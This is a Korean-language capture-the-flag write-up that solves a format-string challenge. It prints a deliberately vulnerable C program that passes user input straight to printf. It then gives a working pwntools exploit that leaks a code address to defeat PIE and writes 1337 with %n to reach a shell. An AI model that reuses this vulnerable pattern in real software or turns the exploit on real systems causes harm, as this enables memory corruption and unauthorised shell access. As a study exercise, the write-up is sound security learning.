#include <stdio.h> #include <stdlib.h> #include <unistd.h> void get_string(char *buf, size_t size) { ssize_t i = read(0, buf, size); if (i == -1) { perror("read"); exit(1); } if (i < size) { if (i > 0 && buf[i - 1] == '\n') i--; buf[i] = 0; } } int changeme; int main() { char buf[0x20]; setbuf(stdout, NULL); while (1) { get_string(buf, 0x20); printf(buf); puts(""); if (changeme == 1337) { system("/bin/sh"); } } }
공격 목표 : changeme 변수의 값을 1337로 바꾸기
Partial RELRO
,NX
,PIE
왜 항상 Partial RELRO로 나오는지 모르겠다.
changeme
변수의 주소 구하기 (주소가 항상 변함)changeme
를 1337로 설정하기
printf
함수가 실행되는 시점에 breakpoint를 설정하고,run
하면
get_string
함수로 문자열을 입력받는다. 아무거나 입력한 후 스택을 보면
rbp 지점에 코드 영역에 포함된 주소가 저장되어 있다.
이것을 이용하여 PIE 베이스 주소를 구할 수 있다.
rsp+0x20
지점이므로printf(%10$s)
를 통해 그 내용을 볼 수 있다.
구한 베이스 주소를 토대로, changeme 변수의 주소도 구할 수 있다.p=process("./fsb_overwrite") e=ELF("./fsb_overwrite") p.sendline(b"%10$s") code_base=int(p.recvn(14),16)-e.symbols['__libc_csu_init'] changeme=code_base+e.symbols['changeme']
changeme
변수를 1337로 설정하려면, %n을 이용한 설정 전에 1337바이트가 출력되어야 한다.
따라서%1337c
로 1337바이트를 출력한다.
사용자 입력은 6번째부터 시작하므로, payload를 구성하면payload="%1337c%8$nAAAAAA" # 스택 8바이트 정렬 payload+=p64(changeme)
%6$n
: %1337c%8
%7$n
: $nAAAAAA
%8$n
: p64(changeme)
p.sendline(payload) p.interactive()